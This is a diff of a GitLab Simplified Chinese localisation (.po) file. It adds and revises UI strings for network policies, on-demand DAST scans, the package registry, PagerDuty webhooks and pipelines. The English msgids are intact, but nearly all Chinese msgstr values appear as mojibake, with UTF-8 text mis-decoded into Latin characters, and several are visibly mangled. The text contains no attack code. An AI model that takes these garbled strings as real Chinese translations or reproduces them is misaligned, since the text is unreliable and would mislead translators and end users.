msgid "Namespaces to index"
msgstr "è¦ç´¢å¼•çš„命å空间"
@@ -15695,28 +16150,64 @@ msgid "Network"
msgstr "网络"
msgid "Network Policy|New rule"
+msgstr "新建规则"
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
msgstr ""
-msgid "NetworkPolicies|.yaml mode"
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
msgstr ""
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml mode"
+msgstr ".yaml模å¼"
+
msgid "NetworkPolicies|Actions"
+msgstr "动作"
+
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
msgstr ""
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr "选择是å¦å¼ºåˆ¶æ­¤ç­–略。"
msgid "NetworkPolicies|Create policy"
-msgstr ""
+msgstr "创建策略"
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr "定义此策略的ä½ç½®ï¼Œæ¡ä»¶å’Œæ“作。"
-msgid "NetworkPolicies|Description"
+msgid "NetworkPolicies|Deny all traffic"
msgstr ""
+msgid "NetworkPolicies|Description"
+msgstr "æè¿°"
+
msgid "NetworkPolicies|Editor mode"
-msgstr ""
+msgstr "编辑模å¼"
msgid "NetworkPolicies|Enforcement status"
msgstr "强制执行状æ€"
@@ -15724,6 +16215,9 @@ msgstr "强制执行状æ€"
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr "环境没有部署平å°"
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr "如果您正在使用Auto DevOps,并在此处改å˜äº†ç­–略,您的%{monospacedStart}auto-deploy-values.yaml%{monospacedEnd}文件将ä¸ä¼šè¢«æ›´æ–°ã€‚Auto DevOps用户需è¦æŒ‰ç…§%{linkStart}容器网络策略文档%{linkEnd}进行修改。"
@@ -15740,14 +16234,20 @@ msgid "NetworkPolicies|Name"
msgstr "å称"
msgid "NetworkPolicies|Network Policy"
+msgstr "网络政策"
+
+msgid "NetworkPolicies|Network traffic"
msgstr ""
msgid "NetworkPolicies|New policy"
-msgstr ""
+msgstr "新建策略"
msgid "NetworkPolicies|No policies detected"
msgstr "未检测到策略"
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr "策略具体定义了pod组如何与其他组中的pod进行网络端点通信。"
@@ -15758,25 +16258,31 @@ msgid "NetworkPolicies|Policy definition"
msgstr "策略定义"
msgid "NetworkPolicies|Policy description"
-msgstr ""
+msgstr "ç­–ç•¥æè¿°"
msgid "NetworkPolicies|Policy editor"
-msgstr ""
+msgstr "策略编辑"
msgid "NetworkPolicies|Policy preview"
-msgstr ""
+msgstr "策略预览"
msgid "NetworkPolicies|Policy status"
-msgstr ""
+msgstr "策略状æ€"
msgid "NetworkPolicies|Policy type"
+msgstr "策略类型"
+
+msgid "NetworkPolicies|Rule"
msgstr ""
msgid "NetworkPolicies|Rule mode"
+msgstr "规则模å¼"
+
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
msgstr ""
msgid "NetworkPolicies|Rules"
-msgstr ""
+msgstr "规则"
msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr "出现错误,未能更新策略"
@@ -15787,14 +16293,59 @@ msgstr "出现错误,无法获å–ç­–ç•¥"
msgid "NetworkPolicies|Status"
msgstr "状æ€"
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
+msgstr "YAML编辑"
+
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
msgstr ""
msgid "Never"
msgstr "从ä¸"
msgid "New"
-msgstr "新建"
+msgstr "新增"
msgid "New Application"
msgstr "新建应用"
@@ -15809,7 +16360,7 @@ msgid "New Environment"
msgstr "新环境"
msgid "New Epic"
-msgstr ""
+msgstr "新建å²è¯—"
msgid "New File"
msgstr "新建文件"
@@ -15852,7 +16403,7 @@ msgid "New Project"
msgstr "新建项目"
msgid "New Requirement"
-msgstr ""
+msgstr "新建需求"
msgid "New Snippet"
msgstr "新建代ç ç‰‡æ®µ"
@@ -15870,10 +16421,10 @@ msgid "New changes were added. %{linkStart}Reload the page to review them%{linkE
msgstr "添加了新的å˜æ›´ã€‚ %{linkStart}é‡æ–°åŠ è½½é¡µé¢ä»¥æŸ¥çœ‹%{linkEnd}"
msgid "New confidential epic title "
-msgstr ""
+msgstr "新建机密å²è¯—标题 "
msgid "New confidential issue title"
-msgstr ""
+msgstr "新建机密议题标题"
msgid "New deploy key"
msgstr "新建部署密钥"
@@ -15939,7 +16490,7 @@ msgid "New requirement"
msgstr "新建需求"
msgid "New response for issue #%{issue_iid}:"
-msgstr ""
+msgstr "议题#%{issue_iid}的新回å¤ï¼š"
msgid "New runners registration token has been generated!"
msgstr "已生æˆæ–°çš„Runner注册令牌ï¼"
@@ -15999,7 +16550,7 @@ msgid "No Epic"
msgstr "æ— å²è¯—"
msgid "No Matching Results"
-msgstr ""
+msgstr "无匹é…结果"
msgid "No Scopes"
msgstr "无范围"
@@ -16020,7 +16571,7 @@ msgid "No authentication methods configured."
msgstr "未é…置身份验è¯æ–¹æ³•ã€‚"
msgid "No available groups to fork the project."
-msgstr ""
+msgstr "没有å¯ç”¨çš„群组å¯ä»¥æ´¾ç”Ÿè¯¥é¡¹ç›®ã€‚"
msgid "No branches found"
msgstr "未å‘现分支"
@@ -16035,7 +16586,7 @@ msgid "No child epics match applied filters"
msgstr "没有匹é…当å‰è¿‡æ»¤å™¨çš„å­å²è¯—"
msgid "No commits present here"
-msgstr ""
+msgstr "此处无æ交"
msgid "No connection could be made to a Gitaly Server, please check your logs!"
msgstr "无法连接到GitalyæœåŠ¡å™¨ï¼Œè¯·æ£€æŸ¥ç›¸å…³æ—¥å¿—ï¼"
@@ -16095,7 +16646,7 @@ msgid "No grouping"
msgstr "无分组"
msgid "No issues found"
-msgstr ""
+msgstr "未å‘现议题"
msgid "No iteration"
msgstr "无迭代"
@@ -16131,7 +16682,7 @@ msgid "No matching results"
msgstr "没有匹é…的结果"
msgid "No matching results for \"%{query}\""
-msgstr ""
+msgstr "没有与“%{query}â€åŒ¹é…的结果"
msgid "No merge requests found"
msgstr "找ä¸åˆ°åˆå¹¶è¯·æ±‚"
@@ -16170,7 +16721,7 @@ msgid "No public groups"
msgstr "无公开群组"
msgid "No ref selected"
-msgstr ""
+msgstr "未选择ref"
msgid "No related merge requests found."
msgstr "未找到相关的åˆå¹¶è¯·æ±‚。"
@@ -16181,12 +16732,18 @@ msgstr "无仓库"
msgid "No required pipeline"
msgstr "没有必需的æµæ°´çº¿"
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr "未找到Runner"
msgid "No schedules"
msgstr "无计划"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr "没有此错误的堆栈跟踪"
@@ -16197,13 +16754,13 @@ msgid "No start date"
msgstr "没有开始日期"
msgid "No status"
-msgstr ""
+msgstr "无状æ€"
msgid "No template"
msgstr "没有模æ¿"
msgid "No template selected"
-msgstr ""
+msgstr "未选择模æ¿"
msgid "No test coverage"
msgstr "无测试覆盖率"
@@ -16274,17 +16831,11 @@ msgstr "还没有准备好。请ç¨åŽå†è¯•ã€‚"
msgid "Not started"
msgstr "未开始"
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr "éžæœºå¯†å²è¯—ä¸èƒ½åˆ†é…给机密的父å²è¯—。"
-
msgid "Note"
msgstr "备注"
msgid "Note parameters are invalid: %{errors}"
-msgstr "说明å‚数无效: %{errors}"
-
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
+msgstr "说明å‚数无效: %{errors}"
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr "请注æ„,此邀请已å‘é€è‡³%{mail_to_invite_email},但您当å‰ä½¿ç”¨ç”µå­é‚®ä»¶%{mail_to_current_user}以%{link_to_current_user} 登录。"
@@ -16433,9 +16984,6 @@ msgstr "11月"
msgid "Novice"
msgstr "新手"
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr "现在您å¯ä»¥åœ¨é¡¶éƒ¨è®¿é—®åˆå¹¶è¯·æ±‚的导航标签,它们更容易找到。"
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr "Nuget元数æ®å¿…须至少设置了license_url,project_url或icon_url"
@@ -16467,17 +17015,14 @@ msgid "Number of employees"
msgstr "员工人数"
msgid "Number of events"
-msgstr ""
+msgstr "事件数é‡"
msgid "Number of events for this project: %{total_count}."
-msgstr ""
+msgstr "此项目的事件数é‡: %{total_count}。"
msgid "Number of files touched"
msgstr "改动的文件数"
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr "确定"
@@ -16497,7 +17042,7 @@ msgid "OfSearchInADropdown|Filter"
msgstr "过滤"
msgid "Off"
-msgstr ""
+msgstr "关闭"
msgid "Oh no!"
msgstr "哦ä¸ï¼"
@@ -16520,21 +17065,27 @@ msgstr "å…³è”分支"
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr "å…³è”分支是扫æ作业è¿è¡ŒçŽ¯å¢ƒã€‚"
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr "无法è¿è¡Œæ‰«æ。请é‡è¯•ã€‚"
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr "创建新的DAST扫æ"
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
-msgstr "DAST将扫æ目标URL和任何å‘现的å­URL。"
+msgid "OnDemandScans|Manage profiles"
+msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr "新建按需扫æDAST"
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr "按需扫æ"
@@ -16544,30 +17095,36 @@ msgstr "按需扫æ在DevOps周期之外è¿è¡Œï¼Œå¹¶åœ¨æ‚¨çš„项目中å‘现æ¼
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr "åªæœ‰è¢«åŠ¨æ‰«æå¯ä»¥æŒ‰éœ€æ‰§è¡Œã€‚"
-msgid "OnDemandScans|Passive DAST Scan"
-msgstr "被动模å¼çš„DAST扫æ"
-
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
-msgstr "请输入一个有效的URLæ ¼å¼ï¼Œä¾‹å¦‚:http://www.example.com/home"
+msgid "OnDemandScans|Passive"
+msgstr ""
-msgid "OnDemandScans|Run this scan"
-msgstr "è¿è¡Œæ­¤æ‰«æ"
+msgid "OnDemandScans|Run scan"
+msgstr ""
msgid "OnDemandScans|Scan mode"
msgstr "扫æ模å¼"
+msgid "OnDemandScans|Scanner settings"
+msgstr ""
+
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr "计划或立å³å¯¹ç›®æ ‡ç«™ç‚¹è¿è¡Œæ‰«æ。当å‰å¯ç”¨çš„按需扫æ类型: DAST。%{helpLinkStart}更多信æ¯%{helpLinkEnd}"
-msgid "OnDemandScans|Target URL"
-msgstr "目标URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
+msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
+msgstr "项目永久删除åŽï¼Œå°†æ— æ³•æ¢å¤ã€‚您将丢失该项目的仓库和所有内容:议题,åˆå¹¶è¯·æ±‚等。"
+
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr "仓库导入åŽï¼Œå¯ä»¥é€šè¿‡SSH进行镜åƒã€‚点击%{link_start}此处%{link_end}了解更多."
@@ -16600,7 +17157,7 @@ msgid "One or more of your dependency files are not supported, and the dependenc
msgstr "有一个或多个ä¾èµ–项文件ä¸æ”¯æŒï¼Œå¹¶ä¸”ä¾èµ–项列表å¯èƒ½ä¸å®Œæ•´ã€‚以下是支æŒçš„文件类型列表。"
msgid "One or more of your personal access tokens has expired."
-msgstr ""
+msgstr "您的一个或多个个人访问令牌已过期。"
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less."
msgstr "您的一个或多个个人访问令牌将在%{days_to_expire}天内过期。"
@@ -16620,9 +17177,6 @@ msgstr "仅项目æˆå‘˜"
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr "仅活动的项目显示在æœç´¢å’Œä»ªè¡¨æ¿ä¸Šã€‚"
-msgid "Only admins"
-msgstr "仅管ç†å‘˜"
-
msgid "Only admins can delete project"
msgstr "åªæœ‰ç®¡ç†å‘˜å¯ä»¥åˆ é™¤é¡¹ç›®"
@@ -16641,6 +17195,9 @@ msgstr "åªæœ‰é¡¹ç›®æˆå‘˜å¯ä»¥å‘表评论。"
msgid "Only project members will be imported. Group members will be skipped."
msgstr "仅导入项目æˆå‘˜ã€‚群组æˆå‘˜å°†è¢«è·³è¿‡ã€‚"
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr "åªæœ‰å…·æœ‰è¿™äº›åŸŸå电å­é‚®ä»¶åœ°å€çš„已验è¯ç”¨æˆ·æ‰èƒ½æ·»åŠ åˆ°ç¾¤ç»„。"
@@ -16656,9 +17213,15 @@ msgstr "开放中"
msgid "Open Selection"
msgstr "打开所选项"
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr "打开评论类型下拉列表"
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr "打开错误"
@@ -16666,7 +17229,7 @@ msgid "Open in Xcode"
msgstr "用Xcode打开"
msgid "Open in file view"
-msgstr ""
+msgstr "在文件视图中打开"
msgid "Open issues"
msgstr "å¼€å¯çš„议题"
@@ -16690,7 +17253,7 @@ msgid "Opened"
msgstr "已打开"
msgid "Opened %{epicTimeagoDate}"
-msgstr ""
+msgstr "å¼€å¯äºŽ%{epicTimeagoDate}"
msgid "Opened MRs"
msgstr "å¼€å¯çš„åˆå¹¶è¯·æ±‚"
@@ -16768,7 +17331,7 @@ msgid "Other merge requests block this MR"
msgstr "其他åˆå¹¶è¯·æ±‚阻止了此MR"
msgid "Other versions"
-msgstr ""
+msgstr "其他版本"
msgid "Other visibility settings have been disabled by the administrator."
msgstr "其他å¯è§æ€§è®¾ç½®å·²è¢«ç®¡ç†å‘˜ç¦ç”¨ã€‚"
@@ -16779,18 +17342,12 @@ msgstr "ä¸ç¬¦åˆè¯¥é¡¹ç›®æ”¿ç­–,应予以删除"
msgid "Outbound requests"
msgstr "外å‘请求"
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr "从2020å¹´5月开始,GitLabä¸å†æ”¯æŒInternet Explorer 11。"
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr "GitLabå¯èƒ½æ— æ³•æ­£å¸¸å·¥ä½œï¼Œå› ä¸ºæ‚¨æ­£åœ¨ä½¿ç”¨è¿‡æ—¶çš„æµè§ˆå™¨ã€‚"
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr "请安装一个%{browser_link_start}支æŒçš„网页æµè§ˆå™¨%{browser_link_end}以获å–更好的体验。"
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr "您å¯ä»¥%{feedback_link_start}通过此议题%{feedback_link_end}或技术支æŒæ¸ é“æä¾›å馈。"
-
msgid "Outdent"
msgstr "å‡å°‘缩进"
@@ -16810,13 +17367,13 @@ msgid "Owned by me"
msgstr "拥有者为我"
msgid "Owned by:"
-msgstr ""
+msgstr "拥有者:"
msgid "Owner"
msgstr "所有者"
msgid "Package Registry"
-msgstr "包注册表"
+msgstr "软件包注册表"
msgid "Package already exists"
msgstr "软件包已存在"
@@ -16824,9 +17381,6 @@ msgstr "软件包已存在"
msgid "Package deleted successfully"
msgstr "包已æˆåŠŸåˆ é™¤"
-msgid "Package information"
-msgstr "包信æ¯"
-
msgid "Package recipe already exists"
msgstr "软件包构æˆå·²å­˜åœ¨"
@@ -16846,10 +17400,10 @@ msgid "Package was removed"
msgstr "包已被删除"
msgid "PackageRegistry|%{name} version %{version} was created %{datetime}"
-msgstr ""
+msgstr "%{name}版 %{version}创建于%{datetime}"
msgid "PackageRegistry|%{name} version %{version} was updated %{datetime}"
-msgstr ""
+msgstr "%{name}版 %{version}更新于%{datetime}"
msgid "PackageRegistry|Add Conan Remote"
msgstr "添加Conan远端"
@@ -16858,16 +17412,16 @@ msgid "PackageRegistry|Add NuGet Source"
msgstr "添加Nugetæº"
msgid "PackageRegistry|App group: %{group}"
-msgstr ""
+msgstr "应用分组: %{group}"
msgid "PackageRegistry|App name: %{name}"
-msgstr ""
+msgstr "应用å称: %{name}"
msgid "PackageRegistry|Commit %{link} on branch %{branch}"
-msgstr ""
+msgstr "分支%{branch}上的æ交%{link}"
msgid "PackageRegistry|Composer"
-msgstr ""
+msgstr "Composer"
msgid "PackageRegistry|Conan"
msgstr "Conan"
@@ -16911,6 +17465,12 @@ msgstr "å¤åˆ¶npm命令"
msgid "PackageRegistry|Copy npm setup command"
msgstr "å¤åˆ¶npm设置命令"
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr "å¤åˆ¶yarn命令"
@@ -16926,6 +17486,9 @@ msgstr "删除软件包"
msgid "PackageRegistry|Filter by name"
msgstr "按å称过滤"
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr "关于Conan注册表的更多信æ¯ï¼Œ %{linkStart}请è§æ–‡æ¡£%{linkEnd}。"
@@ -16944,9 +17507,6 @@ msgstr "如果尚未é…置,需è¦å°†ä»¥ä¸‹å†…容添加到%{codeStart}.pypirc%{
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr "如果尚未é…置,需è¦å°†ä»¥ä¸‹å†…容添加到%{codeStart}pom.xml%{codeEnd}文件中。"
-msgid "PackageRegistry|Installation"
-msgstr "安装"
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr "没有找到您喜欢的包管ç†å·¥å…·ï¼Ÿæˆ‘们期待您的帮助,在GitLab中实现对它的一æµæ”¯æŒï¼%{contributionLinkStart}访问贡献文档%{contributionLinkEnd}以了解更多有关如何在GitLab中建立对新软件包管ç†å·¥å…·çš„支æŒä¿¡æ¯ã€‚以下是我们关注的软件包管ç†å·¥å…·çš„列表。"
@@ -16954,7 +17514,7 @@ msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your
msgstr "了解如何使用GitLab%{noPackagesLinkStart}å‘布和共享您的软件包%{noPackagesLinkEnd}。"
msgid "PackageRegistry|License information located at %{link}"
-msgstr ""
+msgstr "许å¯è¯ä¿¡æ¯ä½äºŽ%{link}"
msgid "PackageRegistry|Manually Published"
msgstr "手动å‘布"
@@ -16983,26 +17543,17 @@ msgstr "NuGet命令"
msgid "PackageRegistry|Pip Command"
msgstr "Pip命令"
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr "æµæ°´çº¿%{linkStart}%{linkEnd}ç”±%{author}触å‘于%{timestamp}"
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
-msgstr ""
+msgstr "æµæ°´çº¿%{link}ç”±%{author}触å‘于%{datetime}"
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
-msgstr ""
-
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr "%{timestamp}å‘布到资æºåº“中"
+msgstr "于%{datetime}å‘布到%{project}软件包注册表"
msgid "PackageRegistry|PyPi"
msgstr "PyPi"
msgid "PackageRegistry|Recipe: %{recipe}"
-msgstr ""
-
-msgid "PackageRegistry|Registry Setup"
-msgstr "é•œåƒåº“设置"
+msgstr "æž„æˆ: %{recipe}"
msgid "PackageRegistry|Remove package"
msgstr "删除软件包"
@@ -17011,7 +17562,7 @@ msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr "对ä¸èµ·ï¼Œæ²¡æœ‰ç¬¦åˆè¿‡æ»¤å™¨çš„任何结果"
msgid "PackageRegistry|Source project located at %{link}"
-msgstr ""
+msgstr "æºé¡¹ç›®ä½äºŽ%{link}"
msgid "PackageRegistry|There are no %{packageType} packages yet"
msgstr "当å‰æ— %{packageType}软件包"
@@ -17052,17 +17603,23 @@ msgstr "å³å°†åˆ é™¤%{name}çš„%{version}版本。确定继续å—?"
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr "您å¯èƒ½è¿˜éœ€è¦ä½¿ç”¨ä»¤ç‰Œè®¾ç½®èº«ä»½éªŒè¯ã€‚%{linkStart}请å‚阅文档%{linkEnd}以了解更多信æ¯ã€‚"
-msgid "PackageRegistry|npm"
-msgstr "npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
+msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr "ç”±%{author}å‘布"
-msgid "PackageRegistry|yarn"
-msgstr "yarn"
+msgid "PackageRegistry|yarn command"
+msgstr ""
msgid "PackageType|Composer"
-msgstr ""
+msgstr "Composer"
msgid "PackageType|Conan"
msgstr "Conan"
@@ -17083,7 +17640,7 @@ msgid "Packages"
msgstr "软件包"
msgid "Packages & Registries"
-msgstr "软件包和镜åƒåº“"
+msgstr "软件包与镜åƒåº“"
msgid "Page not found"
msgstr "找ä¸åˆ°é¡µé¢"
@@ -17092,31 +17649,31 @@ msgid "Page was successfully deleted"
msgstr "页é¢å·²æˆåŠŸåˆ é™¤"
msgid "PagerDutySettings|Active"
-msgstr ""
+msgstr "å¯ç”¨"
msgid "PagerDutySettings|Create a GitLab issue for each PagerDuty incident by %{docsLink}"
-msgstr ""
+msgstr "按照%{docsLink}为æ¯ä¸ªPagerDuty事件创建一个GitLab议题"
msgid "PagerDutySettings|Failed to update Webhook URL"
-msgstr ""
+msgstr "æ›´æ–°Webhook网å€å¤±è´¥"
msgid "PagerDutySettings|Reset webhook URL"
-msgstr ""
+msgstr "é‡ç½®webhook网å€"
msgid "PagerDutySettings|Resetting the webhook URL for this project will require updating this integration's settings in PagerDuty."
-msgstr ""
+msgstr "é‡ç½®æ­¤é¡¹ç›®çš„webhook网å€å°†éœ€è¦åœ¨PagerDuty中更新此集æˆè®¾ç½®ã€‚"
msgid "PagerDutySettings|Setting up a webhook with PagerDuty will automatically create a GitLab issue for each PagerDuty incident."
-msgstr ""
+msgstr "设置对PagerDutyçš„Webhook将自动为æ¯ä¸ªPagerDuty事件创建一个GitLab议题。"
msgid "PagerDutySettings|Webhook URL"
-msgstr ""
+msgstr "Webhook网å€"
msgid "PagerDutySettings|Webhook URL update was successful"
-msgstr ""
+msgstr "Webhook网å€æ›´æ–°æˆåŠŸ"
msgid "PagerDutySettings|configuring a webhook in PagerDuty"
-msgstr ""
+msgstr "在PagerDuty中é…ç½®Webhook"
msgid "Pages"
msgstr "Pages"
@@ -17202,8 +17759,8 @@ msgstr "密ç ç¡®è®¤"
msgid "Password successfully changed"
msgstr "密ç ä¿®æ”¹æˆåŠŸ"
-msgid "Password was successfully updated. Please login with it"
-msgstr "密ç æ›´æ–°æˆåŠŸã€‚请登录"
+msgid "Password was successfully updated. Please sign in again."
+msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
msgstr "密ç åº”唯一并未用于任何其他网站或æœåŠ¡ã€‚"
@@ -17218,10 +17775,10 @@ msgid "Paste a machine public key here. Read more about how to generate it %{lin
msgstr "在此处粘贴计算机公钥。在%{link_start}这里%{link_end}了解更多关于如何产生公钥"
msgid "Paste confidential epic link"
-msgstr ""
+msgstr "粘贴机密å²è¯—链接"
msgid "Paste confidential issue link"
-msgstr ""
+msgstr "粘贴机密议题链接"
msgid "Paste epic link"
msgstr "粘贴å²è¯—链接"
@@ -17260,10 +17817,10 @@ msgid "People without permission will never get a notification and won't be able
msgstr "æƒé™ä¸è¶³çš„用户将无法收到通知,也无法评论。"
msgid "People without permission will never get a notification."
-msgstr "没有æƒé™çš„用户将永远ä¸ä¼šæ”¶åˆ°é€šçŸ¥ã€‚"
+msgstr "无相关æƒé™çš„用户将ä¸ä¼šæ”¶åˆ°é€šçŸ¥ã€‚"
msgid "Percent of users"
-msgstr ""
+msgstr "用户百分比"
msgid "Percentage"
msgstr "百分比"
@@ -17311,7 +17868,7 @@ msgid "Permissions"
msgstr "æƒé™"
msgid "Permissions Help"
-msgstr ""
+msgstr "æƒé™å¸®åŠ©"
msgid "Permissions, LFS, 2FA"
msgstr "æƒé™ï¼ŒLFS,2FA"
@@ -17383,7 +17940,7 @@ msgid "PipelineCharts|Total:"
msgstr "总计:"
msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
-msgstr ""
+msgstr "自定义(%{linkStart}Cron 语法%{linkEnd})"
msgid "PipelineSchedules|Activated"
msgstr "是å¦å¯ç”¨"
@@ -17449,7 +18006,7 @@ msgid "Pipelines|API"
msgstr "API"
msgid "Pipelines|Are you sure you want to run this pipeline?"
-msgstr ""
+msgstr "您确定è¦è¿è¡Œè¿™æ¡æµæ°´çº¿å—?"
msgid "Pipelines|Build with confidence"
msgstr "自信地构建"
@@ -17476,16 +18033,16 @@ msgid "Pipelines|Group %{namespace_name} has exceeded its pipeline minutes quota
msgstr "群组%{namespace_name}已超过其æµæ°´çº¿åˆ†é’Ÿé…é¢ã€‚请购买更多æµæ°´çº¿åˆ†é’Ÿæ•°ï¼Œå¦åˆ™å…¶é¡¹ç›®æ— æ³•è¿è¡Œæ–°çš„作业或æµæ°´çº¿ã€‚"
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
